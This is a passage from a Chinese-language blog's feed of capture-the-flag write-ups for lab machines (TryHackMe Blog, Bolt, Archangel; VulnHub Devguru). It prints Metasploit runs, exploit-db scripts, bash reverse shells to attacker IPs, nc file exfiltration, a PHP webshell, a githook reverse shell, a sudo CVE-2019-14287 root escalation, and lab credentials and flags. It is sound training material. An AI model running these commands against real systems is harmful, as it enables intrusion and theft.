&lt;li&gt;也就真的順利登入了!!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8bca4-d4ssuZc.png"&gt;不過我們的使用者是 &lt;code&gt;editor&lt;/code&gt;沒有權限可以修改 template 之類的方法取得 RCE&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="嘗試-exploit-db-的-payload-失敗"&gt;嘗試 exploit-db 的 Payload (失敗)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先講結論，失敗了，我也不知道為什麼 QQ我已經完全照著網路上的方法做&lt;/li&gt;
&lt;li&gt;但是還是怪怪ㄉ QQ使用先前載好的 &lt;a href="https://www.exploit-db.com/download/49512"&gt;https://www.exploit-db.com/download/49512&lt;/a&gt;依照提示準備一個 &lt;code&gt;gd.jpg&lt;/code&gt;- &lt;code&gt;cp Alice-White-Rabbit.jpg gd.jpg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;這邊我直接使用 smb 偷出來的圖片用 exiftool 寫入 shell- &lt;code&gt;exiftool gd.jpg -CopyrightNotice=&amp;quot;&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4e778-F5TuZD8.png"&gt;&lt;/li&gt;
&lt;li&gt;在這邊我們可以用 strings 觀察，檔案真的被寫進去了&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6d149-HRcbPDx.png"&gt;修改原始碼的 &lt;code&gt;lhost&lt;/code&gt; 與 &lt;code&gt;lport&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/56a8a-2aBtMmn.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python3 49512.py http://blog.thm/ kwheel cutiepie1 twentytwenty&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nc -nvlp 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;然而，都失敗了QQQ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="使用大絕招-msf-"&gt;使用大絕招 msf !!&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;輸入 &lt;code&gt;msfconsole``use exploit/multi/http/wp_crop_rce&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;show options&lt;/code&gt;觀察需要的參數&lt;code&gt;set PASSWORD cutiepie1``set USERNAME kwheel``set RHOSTS blog.thm``set LHOST 10.13.21.55``exploit&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/77e41-KDy6Yfs.png"&gt;就成功接上了 meterpreter 的 shell- 但這邊我還是想使用普通的 reverse shell&lt;/li&gt;
&lt;li&gt;所以我們就輸入 &lt;code&gt;shell&lt;/code&gt; 切換進入再來我想接回 reverse shell- 在攻擊機輸入 &lt;code&gt;nc -nvlp 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;meterpreter 輸入&lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就可以順利接回 shell然而在使用者的家目錄看到的 &lt;code&gt;user.txt&lt;/code&gt; 是假的 QQ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e47b3-2866L1g.png"&gt;沒關係，我現在懶得找，等有 root 後再說ㄅ觀察使用者家目錄有一個 pdf 檔案，抓出來研究看看- 攻擊機 &lt;code&gt;nc -l -p 1234 &amp;gt; Billy_Joel_Termination_May20-2020.pdf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;靶機 `nc 10.13.21.55 1234&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="準備提權"&gt;準備提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用常常出現的工具 linpeas&lt;code&gt;wget 10.13.21.55:8000/linpeas.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bash linpeas.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;我們可以找到 wordpress 的資料庫密碼&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/60486-1oLP7fH.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LittleYellowLamp90!@&lt;/code&gt;發現 sudo 版本是 1.8.21- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aa87b-P09KTRL.png"&gt;發現一個奇怪的檔案有 &lt;code&gt;suid&lt;/code&gt;- 檔案路徑是 &lt;code&gt;/usr/sbin/checker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/34506-c9aV2V5.png"&gt;觀察 Checker- 先把檔案傳出來攻擊機 &lt;code&gt;nc -l -p 1234 &amp;gt; checker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;靶機 &lt;code&gt;nc 10.13.21.55 1234 使用 &lt;/code&gt;r2&lt;code&gt;分析-&lt;/code&gt;r2 checker`&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aaa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s main&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VV&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8306f-SrIENP9.png"&gt;&lt;/li&gt;
&lt;li&gt;可以發現他會把 &lt;code&gt;admin&lt;/code&gt; 傳入 &lt;code&gt;getenv&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;然後如果有值就會給我們一個 shell回到攻擊機，給予一個 &lt;code&gt;admin&lt;/code&gt; 的環境變數- &lt;code&gt;admin=meow /usr/sbin/checker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就拿到 root shell 了&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1f9a9-4XC0m19.png"&gt;取得 root flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dafea-7NKvSBB.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9a0b2b618bef9bfa7ac28c1353d9f318&lt;/code&gt;等等 … 阿user flag ㄋ- 好懶得翻ㄛ…我們就暴力搜ㄅ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find / -iname user.txt -print 2&amp;gt;/dev/null&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cdc43-c1mpsB0.png"&gt;可以找到 user flag 藏在 &lt;code&gt;/media/usb/user.txt&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/63f7a-DbGCDlx.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c8421899aae571f7af486492b71a8ab7&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Devguru (VulnHub Writeup)</title><link>http://blog.stevenyu.tw/2021/08/08/devguru-vulnhub-writeup/</link><pubDate>Sun, 08 Aug 2021 23:17:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/08/devguru-vulnhub-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://www.vulnhub.com/entry/devguru-1,620/"&gt;https://www.vulnhub.com/entry/devguru-1,620/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 192.168.1.138&lt;/p&gt;
&lt;p&gt;覺得打 Tryhackme 也一陣子了，可以回來打打看 VulnHub 的 OSCP 模擬題試試水溫，不過看樣子打起來還是有一點辛苦QQQ&lt;/p&gt;
&lt;h2 id="部屬機器"&gt;部屬機器&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;載下來解壓縮後，是虛擬盒子的 OVA，開虛擬盒子，網路改橋接試試看&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/313b4-yU9l1ry.png"&gt;很棒，這台機器自動的告訴我們 IP 惹，不需要用奇怪的方法來找 IP&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先掃 Port&lt;code&gt;rustscan -a 192.168.1.138&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/baad4-LY4dImU.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有開 22,80,8585&lt;code&gt;nmap -A -p22,80,8585 192.168.1.138&lt;/code&gt;- 用 nmap 大致掃一下&lt;code&gt;python3 dirsearch.py -u http://192.168.1.138/&lt;/code&gt;- 用 Dirsearch 掃描，觀察看看有沒有什麼有趣ㄉ東西&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a0e15-gtOQyIo.png"&gt;&lt;/li&gt;
&lt;li&gt;發現他的 &lt;code&gt;.git&lt;/code&gt; 竟然存在，可以嘗試用 Githack 把資料復原&lt;/li&gt;
&lt;li&gt;還有一個 &lt;code&gt;adminer&lt;/code&gt; 是類似 PHP My Admin 的東西觀察 80 port- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/eae57-j1gFhRt.png"&gt;&lt;/li&gt;
&lt;li&gt;是一個叫做 October 的 CMS&lt;/li&gt;
&lt;li&gt;而 &lt;code&gt;Adminer&lt;/code&gt; 版本是 4.7.7觀察 8080 port- 是一個 Gitea 版本是 1.12.5&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8384e-5dxQLaQ.png"&gt;&lt;/li&gt;
&lt;li&gt;版本有符合的 Exploithttps://www.exploit-db.com/exploits/49571&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget https://www.exploit-db.com/download/49571 -O 49571.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現執行的話需要密碼，所以先放一邊留存&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/28497-Un2Gf9s.png"&gt;- 發現一個唯一的使用者叫做 &lt;code&gt;frank&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;他沒有公開的 repoGithack- &lt;code&gt;git clone https://github.com/lijiejie/GitHack&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python GitHack.py http://192.168.1.138/.git/&lt;/code&gt;復原之後覺得裡面的資料滿多的，亂晃一下發現有趣的東西&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/36b71-QImOywF.png"&gt;資料庫密碼- 帳號 : &lt;code&gt;october&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : SQ66EBYx4GT3byXH`&lt;/li&gt;
&lt;li&gt;資料庫名稱 &lt;code&gt;octoberdb&lt;/code&gt;嘗試使用 Adminer 登入- http://192.168.1.138/adminer.php&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9868d-ei7OutK.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ef85d-uF56hGd.png"&gt;發現可以順利登入&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="破解-hash-成功登入"&gt;破解 Hash 成功登入&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察 Backend Users 發現了一組使用者以及密碼 hash&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/733e0-61LK9ta.png"&gt;&lt;/li&gt;
&lt;li&gt;使用者名稱 : &lt;code&gt;frank&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 Hash : &lt;code&gt;$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK&lt;/code&gt;觀察網站- http://192.168.1.138/backend/backend/auth/signin&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;frank&lt;/code&gt; 做為帳號登入&lt;/li&gt;
&lt;li&gt;但我們需要知道密碼是什麼 QQQ暴力破解?- &lt;code&gt;john frank.txt --wordlist=rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在我家的超級電腦跑了 10 分鐘也沒有結果，看起來應該不是&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/778aa-q3LGq1D.png"&gt;這到底是什麼 hash?- 使用這個網站 &lt;a href="https://www.tunnelsup.com/hash-analyzer/"&gt;https://www.tunnelsup.com/hash-analyzer/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;貼上 hash 值&lt;code&gt;$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK&lt;/code&gt;可以自動分析出他叫做 &lt;code&gt;bcrypt&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/da4be-u3aWPHT.png"&gt;我們可以尋找 bcrypt 的產生器，幫我們產出一組符合規格的 hash- &lt;a href="https://bcrypt-generator.com/"&gt;https://bcrypt-generator.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;我們隨便輸入一組密碼&lt;/li&gt;
&lt;li&gt;&lt;code&gt;meowmeow12345&lt;/code&gt;他就產出惹&lt;code&gt;$2a$12$LnBY8Lzpcq1/Z90x41QZT.fkJKfcWvFtYzQc9Ex4vzAHSvFLn6.Ce&lt;/code&gt;但登入卻一直噴錯 QQ繼續挖 DB 會發現帳號被 suspend 了QQ那我們就直接把這一筆刪掉ㄅ !!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e59c4-2T2VvTU.png"&gt;另外還觀察到使用者的 DB 裡面有一組 persist_code- 暫時不知道是幹嘛的，先存下來備用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$2y$10$hnhKQ8hTe9b3SoZgXhBuT.HG17VvEdBXe86hEq1qdIknkcM1rbxYi&lt;/code&gt;順利登入 CMS- 想試試看在上傳檔案的地方上傳 webshell&lt;/li&gt;
&lt;li&gt;或是透過修改檔名之類的方法先傳 .txt 再改 .php 都失敗&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/97414-9RDaQBc.png"&gt;SSTI- 在 CMS 的 Assets 地方發現可以 SSTI&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6a877-SRSocAR.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f2b21-AmiKy79.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/76372-LuVKN0w.png"&gt;&lt;/li&gt;
&lt;li&gt;輸入錯誤的資料會爛掉&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3ce10-OxxIjH5.png"&gt;&lt;/li&gt;
&lt;li&gt;從 Debug 頁面可以看出他是使用 &lt;code&gt;TWIG&lt;/code&gt; 做為模板引擎&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/50d49-g94JVY1.png"&gt;嘗試使用一些測試的 Payload但大多數都失敗 QQ插入 Command- 在 October CMS 上，可以看到&lt;/li&gt;
&lt;li&gt;&lt;a href="https://octobercms.com/docs/cms/pages"&gt;https://octobercms.com/docs/cms/pages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;可以直接插入 Code&lt;code&gt;php function onStart() { system($_GET['A']); }&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/76cf5-mQPbbei.png"&gt;&lt;/li&gt;
&lt;li&gt;然後就成功ㄌ!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5eb51-KvAUDOZ.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="進入系統"&gt;進入系統&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;嘗試用 Command 載 reverse shell&lt;code&gt;192.168.1.138/?A=wget 192.168.1.106:8000/s_l -O /tmp/s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8c745-TiE2BOj.png"&gt;戳 Reverse shell- &lt;code&gt;nc -nvlp 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8ac56-C1Uw9co.png"&gt;&lt;/li&gt;
&lt;li&gt;成功!LinPeas- &lt;code&gt;wget 192.168.1.106:8000/linpeas.sh&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/da434-wbZiNqv.png"&gt;&lt;code&gt;bash linpeas.sh&lt;/code&gt;- 找到可能有用的密碼!!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/36eb1-xlR0Ql4.png"&gt;把密碼檔案用 &lt;code&gt;nc&lt;/code&gt; 傳出來- &lt;code&gt;nc -l -p 1234 &amp;gt; meow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;`nc 192.168.1.106 1234 &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/46539-bIPUmdB.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="登入-gitea"&gt;登入 Gitea&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;登入 SQL 觀察使用者&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a504c-AWlubpW.png"&gt;&lt;/li&gt;
&lt;li&gt;發現是一種 &lt;code&gt;pbkdf2&lt;/code&gt; 的 hash 演算法hash :&lt;code&gt;c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;salt :&lt;code&gt;Bop8nwtUiM&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;passwd_hash_algo&lt;/code&gt; : argon2觀察 hash 長度- &lt;code&gt;len(&amp;quot;c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900&amp;quot;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/882db-6mtMOfT.png"&gt;&lt;/li&gt;
&lt;li&gt;長度是 400 bits = 50 BytesGoogle 到 pbkdf2 的產生器產密碼- &lt;a href="https://neurotechnics.com/tools/pbkdf2-test"&gt;https://neurotechnics.com/tools/pbkdf2-test&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/355b9-cQ4slf7.png"&gt;&lt;/li&gt;
&lt;li&gt;但後來登入都失敗了 QQ去 Github 上搜尋 &lt;code&gt;passwd_hash_algo&lt;/code&gt; 找到了別人現成的 hash- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7e78e-lmsUiO9.png"&gt;&lt;a href="https://github.com/go-gitea/gitea/blob/22a0636544237bcffb46b36b593a501e77ae02cc/models/fixtures/user.ymlpasswd:%60a3d5fcd92bae586c2e3dbe72daea7a0d27833a8d0227aa1704f4bbd775c1f3b03535b76dd93b0d4d8d22a519dca47df1547b"&gt;https://github.com/go-gitea/gitea/blob/22a0636544237bcffb46b36b593a501e77ae02cc/models/fixtures/user.ymlpasswd:`a3d5fcd92bae586c2e3dbe72daea7a0d27833a8d0227aa1704f4bbd775c1f3b03535b76dd93b0d4d8d22a519dca47df1547b&lt;/a&gt; # password&lt;code&gt;- 該 hash 值 就是 &lt;/code&gt;password&lt;code&gt;salt: &lt;/code&gt;ZogKvWdyEx&lt;code&gt;passwd_hash_algo: &lt;/code&gt;argon2`把他們填進去 SQL 中http://192.168.1.138:8585/user/login?redirect_to=- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8bf36-mqIcmOO.png"&gt;&lt;/li&gt;
&lt;li&gt;frank / password&lt;/li&gt;
&lt;li&gt;嘗試登入，就登入成功ㄌ!使用剛剛前面載的 Exploit- &lt;a href="https://www.exploit-db.com/exploits/49571"&gt;https://www.exploit-db.com/exploits/49571&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nc -nvlp 7879&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python3 49571.py -t http://192.168.1.138:8585 -u frank -p password -I 192.168.1.106 -P 7879&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但都打不進去 QQ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4561e-CAMq6fh.png"&gt;觀察使用者的 Git- 觀察到他有用 githook 做 CI/CD&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/75b06-lngoWRe.png"&gt;所以可以試著在這邊 bash 上加 reverse shell- &lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.1.106/7879 0&amp;gt;&amp;amp;1'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2bd7a-GNC9HTR.png"&gt;&lt;/li&gt;
&lt;li&gt;改完之後會發現 update 亮綠燈&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/35717-5JbCMlE.png"&gt;接著來亂改他的 &lt;code&gt;readme.md&lt;/code&gt; 、發 Commit- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c2f4b-WSLMrNk.png"&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9da9e-NFHxsgn.png"&gt;成功拿到使用者的 Shell!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo -l&lt;/code&gt; 觀察&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/97087-I3mkYEc.png"&gt;&lt;/li&gt;
&lt;li&gt;發現我們可以用 &lt;code&gt;sudo&lt;/code&gt; 執行 sqlite3再跑一次 Linpeas- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8253d-GvgtkCZ.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3efc3-NP57ciG.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來沒什麼特別，但我們可以注意 sudo 版本&lt;code&gt;sudo -V&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8271c-zGxlAj5.png"&gt;&lt;/li&gt;
&lt;li&gt;發現是 &lt;code&gt;1.8.21p2&lt;/code&gt; 版本&lt;code&gt;CVE-2019-14287&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以用 &lt;code&gt;sudo -u#-1 binary&lt;/code&gt; 來繞密碼GTFOBins 可以找到 SQLite3 的 sudo 利用方法- &lt;a href="https://gtfobins.github.io/gtfobins/sqlite3/#sudo"&gt;https://gtfobins.github.io/gtfobins/sqlite3/#sudo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;串成完整的 Payload&lt;code&gt;sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'&lt;/code&gt;執行!!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ac463-9p9M2K8.png"&gt;取得Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d234b-Q25ze6p.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Bolt (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/06/bolt-try-hack-me-writeup/</link><pubDate>Fri, 06 Aug 2021 23:56:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/06/bolt-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/bolt"&gt;https://tryhackme.com/room/bolt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.51.13&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rustscan -a 10.10.51.13&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39232-rbBcQvt.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有開22&lt;/li&gt;
&lt;li&gt;80&lt;/li&gt;
&lt;li&gt;8000&lt;code&gt;nmap -A -p22,80,8000 10.10.51.13&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5ee33-CeiD0Rn.png"&gt;觀察網頁- 80&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a6e81-rhs8G5g.png"&gt;8080- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c7f20-O89E4in.png"&gt;What port number has a web server with a CMS running?- 8000What is the username we can find in the CMS?- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b8b78-uuS49nr.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bolt&lt;/code&gt;What is the password we can find for the username?- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/785c5-uYjlWzV.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;boltadmin123``python3 dirsearch.py -u http://10.10.51.13:8000/ -e all&lt;/code&gt;- &lt;code&gt;http://10.10.51.13:8000/.htaccess&lt;/code&gt;裡面沒什麼特別網路上找到後臺網址- http://10.10.51.13:8000/bolt/login&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/96b39-ObFh4vj.png"&gt;What version of the CMS is installed on the server? (Ex: Name 1.1.1)- &lt;code&gt;Bolt 3.7.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;上一張截圖最下面有寫Google &lt;code&gt;Bolt 3.7.1 Exploit&lt;/code&gt;- &lt;a href="https://www.exploit-db.com/exploits/48296"&gt;https://www.exploit-db.com/exploits/48296&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget https://www.exploit-db.com/download/48296 -O 48296.py&lt;/code&gt;There&amp;rsquo;s an exploit for a previous version of this CMS, which allows authenticated RCE. Find it on Exploit DB. What&amp;rsquo;s its EDB-ID?- 48296&lt;/li&gt;
&lt;li&gt;不知道為什麼，我 run 起來失敗QQ網路上找到另外一組 exploit- &lt;a href="https://medium.com/@foxsin34/bolt-cms-3-7-1-authenticated-rce-remote-code-execution-ed781e03237b"&gt;https://medium.com/@foxsin34/bolt-cms-3-7-1-authenticated-rce-remote-code-execution-ed781e03237b&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c120a-W26KDy6.png"&gt;&lt;/li&gt;
&lt;li&gt;他莫名的把我的密碼改成 &lt;code&gt;password&lt;/code&gt; 了&lt;/li&gt;
&lt;li&gt;但是也沒有用 ?__?改用 msf- &lt;code&gt;search bolt&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/75538-XTxmdaA.png"&gt;找到了第 0 個 RCE 的&lt;code&gt;use 0``set PASSWORD password``set USERNAME bolt``set RHOSTS 10.10.51.13``set LHOST tun0``show options&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d8822-zIX4Qdc.png"&gt;&lt;code&gt;exploit&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/66e66-hcny3lE.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3e5ba-Vdxp4Rd.png"&gt;成功 RCE 取得 flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6b0f2-z8huKEP.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{wh0_d035nt_l0ve5_b0l7_r1gh7?}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Archangel (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/06/archangel-try-hack-me-writeup/</link><pubDate>Fri, 06 Aug 2021 23:48:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/06/archangel-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;url : &lt;a href="https://tryhackme.com/room/archangel"&gt;https://tryhackme.com/room/archangel&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.163.60&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式，掃 Port &lt;code&gt;rustscan -a 10.10.163.60&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4fbae-DkyiPwB.png"&gt;&lt;/li&gt;
